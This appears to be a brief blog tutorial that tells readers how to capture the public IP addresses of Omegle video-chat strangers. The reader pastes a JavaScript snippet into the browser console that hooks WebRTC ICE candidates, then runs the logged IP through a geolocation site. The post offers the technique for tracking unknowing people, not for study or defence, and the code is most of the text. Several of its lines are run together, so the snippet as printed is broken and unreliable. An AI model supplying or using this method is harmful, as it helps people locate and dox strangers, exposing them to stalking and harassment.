How to Track Someone’s IP Address on Omegle by Using Javascript

Dev Khandelwal
2 min readOct 18, 2022

--

First of all you need to go to https://omegle.com and then on the homepage right click and click inspect element as shown below

SC 1

And after that go to the console area and copy paste the below javascript code inside the console and press enter

window.oRTCPeerConnection  = window.oRTCPeerConnection || window.RTCPeerConnectionwindow.RTCPeerConnection = function(...args) {
const pc = new window.oRTCPeerConnection(...args)
pc.oaddIceCandidate = pc.addIceCandidatepc.addIceCandidate = function(iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(' ')
if (fields[7] === 'srflx') {
console.log('IP Address:', fields[4])
}
return pc.oaddIceCandidate(iceCandidate, ...rest)
}return pc
}
SC 2

And now again clear out the console and then click the video chat button on omegle ( this method is only work in Video Chat )

SC 3

Now you can see the ip addresses appearing inside the console just copy it inside a online tool of ip address location finder and you will see the below result.

SC 4

--

--